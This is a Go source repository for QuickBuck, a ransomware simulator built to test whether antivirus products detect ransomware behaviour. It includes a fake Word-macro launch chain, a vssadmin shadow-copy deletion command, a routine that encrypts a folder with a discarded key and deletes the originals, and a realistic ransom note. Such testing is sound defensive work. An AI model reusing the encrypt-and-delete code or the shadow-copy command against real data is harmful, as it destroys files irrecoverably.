├── cmd ├── stage_windows.go ├── stage_unix.go ├── ascii-art.txt ├── main.go ├── stage.go └── simulation.go ├── images └── quickbuck_demo.png ├── lib ├── encrypt │ ├── TestDocument.docx │ ├── stagefiles.go │ └── encryptfiles.go ├── note │ ├── dropnote.go │ └── note.txt ├── shadowcopy │ └── shadowcopy.go └── simulatemacro │ └── macro.go ├── Makefile ├── go.mod ├── LICENSE ├── go.sum └── README.md /cmd/stage_windows.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | var shell = "cmd.exe" 4 | 5 | var shellParam = "/c" -------------------------------------------------------------------------------- /cmd/stage_unix.go: -------------------------------------------------------------------------------- 1 | //+build !windows 2 | 3 | package main 4 | 5 | var shell = "sh" 6 | 7 | var shellParam = "-c" -------------------------------------------------------------------------------- /images/quickbuck_demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NextronSystems/ransomware-simulator/HEAD/images/quickbuck_demo.png -------------------------------------------------------------------------------- /lib/encrypt/TestDocument.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NextronSystems/ransomware-simulator/HEAD/lib/encrypt/TestDocument.docx -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | quickbuck.exe: $(wildcard cmd/* lib/*/*) 2 | quickbuck.exe: export GOOS=windows 3 | quickbuck.exe: export GOARCH=amd64 4 | 5 | quickbuck.exe: 6 | go build -o $@ ./cmd 7 | 8 | -------------------------------------------------------------------------------- /cmd/ascii-art.txt: -------------------------------------------------------------------------------- 1 | ____ _ __ ___ __ 2 | / __ \ __ __ (_)____ / /__ / _ ) __ __ ____ / /__ 3 | / /_/ // // // // __// '_// _ |/ // // __// '_/ 4 | \___\_\\_,_//_/ \__//_/\_\/____/ \_,_/ \__//_/\_\ 5 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/NextronSystems/ransomware-simulator 2 | 3 | go 1.17 4 | 5 | require ( 6 | github.com/secDre4mer/go-parseflags v0.0.0-20220118160914-560fe4c9ea34 7 | github.com/spf13/cobra v1.4.0 8 | ) 9 | 10 | require ( 11 | github.com/inconshreveable/mousetrap v1.0.0 // indirect 12 | github.com/spf13/pflag v1.0.5 // indirect 13 | ) 14 | -------------------------------------------------------------------------------- /lib/note/dropnote.go: -------------------------------------------------------------------------------- 1 | package note 2 | 3 | import ( 4 | _ "embed" 5 | "log" 6 | "os" 7 | ) 8 | 9 | //go:embed note.txt 10 | var note string 11 | 12 | func Write(location string) error { 13 | log.Printf("Dropping ransomware note to %s...", location) 14 | file, err := os.Create(location) 15 | if err != nil { 16 | return err 17 | } 18 | defer file.Close() 19 | file.WriteString(note) 20 | return nil 21 | } -------------------------------------------------------------------------------- /cmd/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | _ "embed" 5 | "fmt" 6 | "log" 7 | "os" 8 | 9 | "github.com/spf13/cobra" 10 | ) 11 | 12 | // rootCmd represents the base command when called without any subcommands 13 | var rootCmd = &cobra.Command{ 14 | Use: "ransomware-simulator { run | cleanup }", 15 | Example: "ransomware-simulator run", 16 | Short: "Ransomware Simulator", 17 | } 18 | 19 | //go:embed ascii-art.txt 20 | var asciiArt string 21 | 22 | func main() { 23 | rootCmd.CompletionOptions.DisableDefaultCmd = true 24 | if err := rootCmd.Execute(); err != nil { 25 | fmt.Println(asciiArt) 26 | log.Print(err) 27 | os.Exit(1) 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /lib/shadowcopy/shadowcopy.go: -------------------------------------------------------------------------------- 1 | package shadowcopy 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "log" 7 | "os/exec" 8 | "time" 9 | ) 10 | 11 | func Delete() error { 12 | log.Println("Executing command 'vssadmin delete shadows /for=norealvolume /all /quiet'") 13 | err := exec.Command("vssadmin", "delete", "shadows", "/for=norealvolume", "/all", "/quiet").Run() 14 | // it takes some time to delete the shadowcopies 15 | time.Sleep(5 * time.Second) 16 | var exitErr *exec.ExitError 17 | if errors.As(err, &exitErr) { 18 | if exitErr.ExitCode() != 2 { 19 | return fmt.Errorf("command returned unusual status code %d - might have been blocked", exitErr.ExitCode()) 20 | } 21 | } else { 22 | return fmt.Errorf("could not run command: %w", err) 23 | } 24 | return nil 25 | } 26 | -------------------------------------------------------------------------------- /lib/encrypt/stagefiles.go: -------------------------------------------------------------------------------- 1 | package encrypt 2 | 3 | import ( 4 | _ "embed" 5 | "fmt" 6 | "log" 7 | "os" 8 | "path/filepath" 9 | ) 10 | 11 | //go:embed TestDocument.docx 12 | var document []byte 13 | 14 | const documentCount = 10000 15 | 16 | func StageFiles(directory string) error { 17 | log.Printf("Clearing target folder %s...", directory) 18 | if err := os.RemoveAll(directory); err != nil { 19 | return fmt.Errorf("could not delete folder: %w", err) 20 | } 21 | if err := os.MkdirAll(directory, 0755); err != nil { 22 | return fmt.Errorf("could not create folder: %w", err) 23 | } 24 | log.Printf("Writing %d documents to target folder %s...", documentCount, directory) 25 | for i := 0; i <= documentCount; i++ { 26 | if err := os.WriteFile(filepath.Join(directory, fmt.Sprintf("document%d.docx", i)), document, 0644); err != nil { 27 | return fmt.Errorf("could not write file: %w", err) 28 | } 29 | } 30 | return nil 31 | } 32 | -------------------------------------------------------------------------------- /cmd/stage.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "errors" 5 | "log" 6 | "os" 7 | "os/exec" 8 | "strings" 9 | "time" 10 | 11 | "github.com/spf13/cobra" 12 | ) 13 | 14 | func init() { 15 | stageCmd := &cobra.Command{ 16 | Use: "stage", 17 | Short: "Run ransomware simulator via cmd /c", 18 | Run: stage, 19 | DisableFlagParsing: true, 20 | Hidden: true, 21 | } 22 | rootCmd.AddCommand(stageCmd) 23 | } 24 | 25 | func stage(cmd *cobra.Command, args []string) { 26 | log.Printf("Executing command via shell: %s", strings.Join(args, " ")) 27 | // it takes some time to startup Winword.exe 28 | time.Sleep(5 * time.Second) 29 | stagedCommand := exec.Command(shell, shellParam, strings.Join(args, " ")) 30 | stagedCommand.Stdout = os.Stdout 31 | stagedCommand.Stderr = os.Stderr 32 | if err := stagedCommand.Run(); err != nil { 33 | var exitErr *exec.ExitError 34 | if errors.As(err, &exitErr) { 35 | os.Exit(exitErr.ExitCode()) 36 | } 37 | log.Fatal("Could not run staged command:", err) 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Nextron Systems GmbH 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/cpuguy83/go-md2man/v2 v2.0.1/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= 2 | github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM= 3 | github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= 4 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 5 | github.com/secDre4mer/go-parseflags v0.0.0-20220118160914-560fe4c9ea34 h1:aPQ2/q67Tp/GXuXHqAIoNb/iuWQrNMHyDapbuSPfFLE= 6 | github.com/secDre4mer/go-parseflags v0.0.0-20220118160914-560fe4c9ea34/go.mod h1:TaGWczCcrOFD3QaHAao/oWgZWxyNC2hy7qhMbgHE0EQ= 7 | github.com/spf13/cobra v1.4.0 h1:y+wJpx64xcgO1V+RcnwW0LEHxTKRi2ZDPSBjWnrg88Q= 8 | github.com/spf13/cobra v1.4.0/go.mod h1:Wo4iy3BUC+X2Fybo0PDqwJIv3dNRiZLHQymsfxlB84g= 9 | github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= 10 | github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= 11 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 12 | gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= 13 | -------------------------------------------------------------------------------- /lib/note/note.txt: -------------------------------------------------------------------------------- 1 | Your network has been breached and all data were encrypted. 2 | Personal data, financial reports and important documents are ready to disclose.To decrypt all the data or to prevent exfiltrated files to be disclosed at 3 | http://thisisafakeonionaddress.onion/ 4 | you will need to purchase our decryption software.Please contact our sales department at: 5 | REDACTED 6 | 7 | Login: REDACTED 8 | Password: REDACTED 9 | 10 | To get access to .onion websites download and install Tor Browser at: 11 | https://www.torproject.org/ (Tor Browser is not related to us) 12 | 13 | Follow the guidelines below to avoid losing your data: 14 | 15 | – Do not shutdown or reboot your computers, unmount external storages. 16 | – Do not try to decrypt data using third party software. It may cause 17 | irreversible damage. 18 | – Do not fool yourself. Encryption has perfect secrecy and it’s impossible 19 | to decrypt without knowing the key. 20 | – Do not modify, rename or delete *.key.k6thw files. Your 21 | data will be undecryptable. 22 | – Do not modify or rename encrypted files. You will lose them. 23 | – Do not report to authorities. The negotiation process will be terminated 24 | immediately and the key will be erased. 25 | – Do not reject to purchase. Your sensitive data will be publicly disclosed. -------------------------------------------------------------------------------- /lib/simulatemacro/macro.go: -------------------------------------------------------------------------------- 1 | package simulatemacro 2 | 3 | import ( 4 | "errors" 5 | "io" 6 | "log" 7 | "os" 8 | "os/exec" 9 | "path/filepath" 10 | "strings" 11 | ) 12 | 13 | func Run(args []string) error { 14 | wd, _ := os.Getwd() 15 | winword := filepath.Join(wd, "WINWORD.EXE") 16 | // Create pseudo winword.exe - it's only a copy of this executable 17 | log.Println("Copying executable as pseudo WINWORD.EXE") 18 | if err := copyExecutable(winword); err != nil { 19 | return err 20 | } 21 | log.Printf("Staging execution via WINWORD.EXE: %s", strings.Join(args, " ")) 22 | wordCommand := exec.Command(winword, append([]string{"stage"}, args...)...) 23 | wordCommand.Stdout = os.Stdout 24 | wordCommand.Stderr = os.Stderr 25 | if err := wordCommand.Run(); err != nil { 26 | var exitErr *exec.ExitError 27 | if errors.As(err, &exitErr) { 28 | os.Exit(exitErr.ExitCode()) 29 | } 30 | log.Fatal("Could not run staged command:", err) 31 | } else { 32 | os.Exit(0) 33 | } 34 | return nil 35 | } 36 | 37 | func copyExecutable(target string) error { 38 | executable, err := os.Executable() 39 | if err != nil { 40 | return err 41 | } 42 | execFile, err := os.Open(executable) 43 | if err != nil { 44 | return err 45 | } 46 | defer execFile.Close() 47 | targetFile, err := os.OpenFile(target, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755) 48 | if err != nil { 49 | return err 50 | } 51 | defer targetFile.Close() 52 | _, err = io.Copy(targetFile, execFile) 53 | return err 54 | } 55 | -------------------------------------------------------------------------------- /lib/encrypt/encryptfiles.go: -------------------------------------------------------------------------------- 1 | package encrypt 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "crypto/rand" 7 | "fmt" 8 | "io" 9 | "io/fs" 10 | "log" 11 | "os" 12 | "path/filepath" 13 | ) 14 | 15 | func EncryptFiles(targetDirectory string) error { 16 | log.Printf("Encrypting all files in %s...", targetDirectory) 17 | var cipherBlockBytes = make([]byte, 32) 18 | rand.Read(cipherBlockBytes) 19 | cipherBlock, err := aes.NewCipher(cipherBlockBytes) 20 | if err != nil { 21 | return fmt.Errorf("could not create cipher: %w", err) 22 | } 23 | return filepath.WalkDir(targetDirectory, func(path string, d fs.DirEntry, err error) error { 24 | if err != nil { 25 | return nil 26 | } 27 | if !d.Type().IsRegular() { 28 | return nil 29 | } 30 | if filepath.Ext(path) == ".enc" { 31 | return nil 32 | } 33 | file, err := os.Open(path) 34 | if err != nil { 35 | return err 36 | } 37 | defer file.Close() 38 | encryptedFileName := path + ".enc" 39 | encryptedFile, err := os.Create(encryptedFileName) 40 | if err != nil { 41 | return err 42 | } 43 | defer encryptedFile.Close() 44 | iv := make([]byte, aes.BlockSize) 45 | rand.Read(iv) 46 | stream := cipher.NewCTR(cipherBlock, iv) 47 | cryptoWriter := cipher.StreamWriter{ 48 | S: stream, 49 | W: encryptedFile, 50 | } 51 | if _, err := io.Copy(cryptoWriter, file); err != nil { 52 | return err 53 | } 54 | file.Close() 55 | if err := os.Remove(path); err != nil { 56 | return err 57 | } 58 | return nil 59 | }) 60 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # QuickBuck - Ransomware Simulator 2 | 3 | ____ _ __ ___ __ 4 | / __ \ __ __ (_)____ / /__ / _ ) __ __ ____ / /__ 5 | / /_/ // // // // __// '_// _ |/ // // __// '_/ 6 | \___\_\\_,_//_/ \__//_/\_\/____/ \_,_/ \__//_/\_\ 7 | 8 | Nextron Systems GmbH 9 | 10 | The goal of this repository is to provide a simple, harmless way to check your AV's protection on ransomware. 11 | 12 | This tool simulates typical ransomware behaviour, such as: 13 | 14 | - Staging from a Word document macro 15 | - Deleting Volume Shadow Copies 16 | - Encrypting documents (embedded and dropped by the simulator into a new folder) 17 | - Dropping a ransomware note to the user's desktop 18 | 19 | The ransomware simulator takes no action that actually encrypts pre-existing files on the device, or deletes Volume Shadow Copies. However, any AV products looking for such behaviour should still hopefully trigger. 20 | 21 | Each step, as listed above, can also be disabled via a command line flag. This allows you to check responses to later steps as well, even if an AV already detects earlier steps. 22 | 23 | ## Usage 24 | 25 | Ransomware Simulator 26 | 27 | Usage: 28 | ransomware-simulator [command] 29 | 30 | Examples: 31 | ransomware-simulator run 32 | 33 | Available Commands: 34 | help Help about any command 35 | run Run ransomware simulator 36 | 37 | Flags: 38 | -h, --help help for ransomware-simulator 39 | 40 | Use "ransomware-simulator [command] --help" for more information about a command. 41 | 42 | Run command: 43 | 44 | Run Ransomware Simulator 45 | 46 | Usage: 47 | ransomware-simulator run [flags] 48 | 49 | Flags: 50 | --dir string Directory where files that will be encrypted should be staged (default "./encrypted-files") 51 | --disable-file-encryption Don't simulate document encryption 52 | --disable-macro-simulation Don't simulate start from a macro by building the following process chain: winword.exe -> cmd.exe -> ransomware-simulator.exe 53 | --disable-note-drop Don't drop pseudo ransomware note 54 | --disable-shadow-copy-deletion Don't simulate volume shadow copy deletion 55 | -h, --help help for run 56 | --note-location string Ransomware note location (default "C:\\Users\\neo\\Desktop\\ransomware-simulator-note.txt") 57 | 58 | ## Screenshots 59 | 60 | ![Execution and Process Tree](/images/quickbuck_demo.png) 61 | -------------------------------------------------------------------------------- /cmd/simulation.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "os" 7 | "path/filepath" 8 | 9 | "github.com/NextronSystems/ransomware-simulator/lib/encrypt" 10 | "github.com/NextronSystems/ransomware-simulator/lib/note" 11 | "github.com/NextronSystems/ransomware-simulator/lib/shadowcopy" 12 | "github.com/NextronSystems/ransomware-simulator/lib/simulatemacro" 13 | 14 | "github.com/secDre4mer/go-parseflags" 15 | "github.com/spf13/cobra" 16 | ) 17 | 18 | func init() { 19 | runCmd := &cobra.Command{ 20 | Use: "run", 21 | Short: "Run Ransomware Simulator", 22 | Run: run, 23 | } 24 | runCmd.Flags().AddFlagSet(parseflags.CreateFlagset(&runOptions)) 25 | rootCmd.AddCommand(runCmd) 26 | } 27 | 28 | var runOptions = struct { 29 | DisableMacroSimulation bool `flag:"disable-macro-simulation" description:"Don't simulate start from a macro by building the following process chain: winword.exe -> cmd.exe -> ransomware-simulator.exe"` 30 | 31 | DisableShadowCopyDeletion bool `flag:"disable-shadow-copy-deletion" description:"Don't simulate volume shadow copy deletion"` 32 | 33 | DisableFileEncryption bool `flag:"disable-file-encryption" description:"Don't simulate document encryption"` 34 | EncryptionDirectory string `flag:"dir" description:"Directory where files that will be encrypted should be staged"` 35 | 36 | DisableNoteDrop bool `flag:"disable-note-drop" description:"Don't drop pseudo ransomware note"` 37 | NoteLocation string `flag:"note-location" description:"Ransomware note location"` 38 | }{ 39 | EncryptionDirectory: `./encrypted-files`, 40 | NoteLocation: filepath.Join(homeDir, "Desktop", "ransomware-simulator-note.txt"), 41 | } 42 | 43 | var homeDir, _ = os.UserHomeDir() 44 | 45 | func run(cmd *cobra.Command, args []string) { 46 | if !runOptions.DisableMacroSimulation { 47 | // Simulate Macro execution of this executable with current parameters, including --disable-macro-simulation 48 | if err := simulatemacro.Run(append(os.Args, "--disable-macro-simulation")); err != nil { 49 | log.Fatal(err) 50 | } 51 | } 52 | fmt.Println(asciiArt) 53 | if !runOptions.DisableShadowCopyDeletion { 54 | if err := shadowcopy.Delete(); err != nil { 55 | log.Fatal(err) 56 | } 57 | } 58 | if !runOptions.DisableFileEncryption { 59 | if err := encrypt.StageFiles(runOptions.EncryptionDirectory); err != nil { 60 | log.Fatal(err) 61 | } 62 | if err := encrypt.EncryptFiles(runOptions.EncryptionDirectory); err != nil { 63 | log.Fatal(err) 64 | } 65 | } 66 | if !runOptions.DisableNoteDrop { 67 | if err := note.Write(runOptions.NoteLocation); err != nil { 68 | log.Fatal(err) 69 | } 70 | } 71 | } 72 | --------------------------------------------------------------------------------